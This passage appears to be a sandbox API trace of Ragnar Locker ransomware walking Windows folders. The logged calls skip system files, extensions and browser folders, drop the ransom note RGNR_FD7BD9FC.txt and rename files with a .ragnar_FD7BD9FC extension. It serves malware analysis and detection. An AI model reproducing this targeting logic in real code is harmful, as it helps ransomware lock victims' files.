lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742e7900, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.939] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.939] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.939] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.939] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.939] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.939] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.939] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned=".mui" [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.940] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0056.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.940] CloseHandle (hObject=0xffffffff) returned 0 [0056.940] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" [0056.940] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.940] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.940] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.940] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.940] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0056.940] lstrcmpiW (lpString1="ja-JP", lpString2=".") returned 1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="..") returned 1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Windows") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Windows.old") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Tor browser") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Internet Explorer") returned 1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Google") returned 1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Opera") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Opera Software") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Mozilla") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="Mozilla Firefox") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="$Recycle.Bin") returned 1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="ProgramData") returned -1 [0056.941] lstrcmpiW (lpString1="ja-JP", lpString2="All Users") returned 1 [0056.941] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.941] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ja-JP" | out: lpString1="ja-JP") returned="ja-JP" [0056.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\" [0056.941] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\" [0056.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RGNR_FD7BD9FC.txt" [0056.941] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.958] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*" [0056.958] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.958] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.958] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.959] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.959] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.959] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7430da60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.959] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.959] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.959] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.959] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.959] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7430da60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.959] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.959] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.960] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.960] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.960] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned=".mui" [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.960] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.960] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0056.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.961] CloseHandle (hObject=0xffffffff) returned 0 [0056.961] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" [0056.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.961] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.961] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.961] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0056.961] lstrcmpiW (lpString1="journal.dll", lpString2=".") returned 1 [0056.961] lstrcmpiW (lpString1="journal.dll", lpString2="..") returned 1 [0056.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2=".") returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="..") returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Windows") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Windows.old") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Tor browser") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Internet Explorer") returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Google") returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Opera") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Opera Software") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Mozilla") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="Mozilla Firefox") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="$Recycle.Bin") returned 1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="ProgramData") returned -1 [0056.961] lstrcmpiW (lpString1="ko-KR", lpString2="All Users") returned 1 [0056.961] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.961] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ko-KR" | out: lpString1="ko-KR") returned="ko-KR" [0056.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\" [0056.962] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\" [0056.962] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RGNR_FD7BD9FC.txt") 